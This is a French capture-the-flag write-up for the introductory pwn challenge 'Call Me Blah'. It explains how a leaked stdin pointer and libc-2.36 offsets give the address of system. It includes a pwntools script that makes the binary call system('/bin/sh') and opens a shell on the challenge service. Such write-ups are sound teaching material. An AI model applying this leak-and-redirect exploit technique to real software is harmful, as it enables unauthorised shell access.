Solution de erdnaxe pour Call Me Blah

intro pwn x86/x64

28 janvier 2025

On commence par analyser l’extrait de code source donné dans call-me-blah.c. On observe que le binaire :

  1. affiche l’adresse pointée par stdin,
    printf("%p\n", stdin);
    
  2. demande l’adresse d’une fonction call_me,
    void (*call_me)(char *);
    if (scanf("%zd%*c", (ssize_t *)&call_me) != 1) {
    
  3. demande une chaîne de caractères qui sera passée en argument à call_me :
    char blah[32];
    if (fgets(blah, sizeof(blah), stdin) == NULL) {
    	// ...
    }
    call_me(blah);
    

Une manière de résoudre cette épreuve pour obtenir un shell est d’arriver à appeler system("/bin/sh"), donc nous avons besoin de l’adresse de la fonction system.

Or, nous connaissons l’adresse de stdin qui est un élément dans libc-2.36.so. Une analyse statique (objdump, Ghidra…) de cette bibliothèque dynamique permet de trouver l’offset de _IO_2_1_stdin_ (pointé par stdin) et de system. Donc l’adresse de system est stdin_addr - 0x1d2a80 + 0x4c490.

Nous écrivons le script Python suivant :

from pwn import *

r = remote("localhost", 4000)
stdin_addr = int(r.recvline().strip().decode(), 0)
system_addr = stdin_addr - 0x1d2a80 + 0x4c490
r.sendline(f"{system_addr}".encode())
r.sendline(b"/bin/sh")
r.interactive()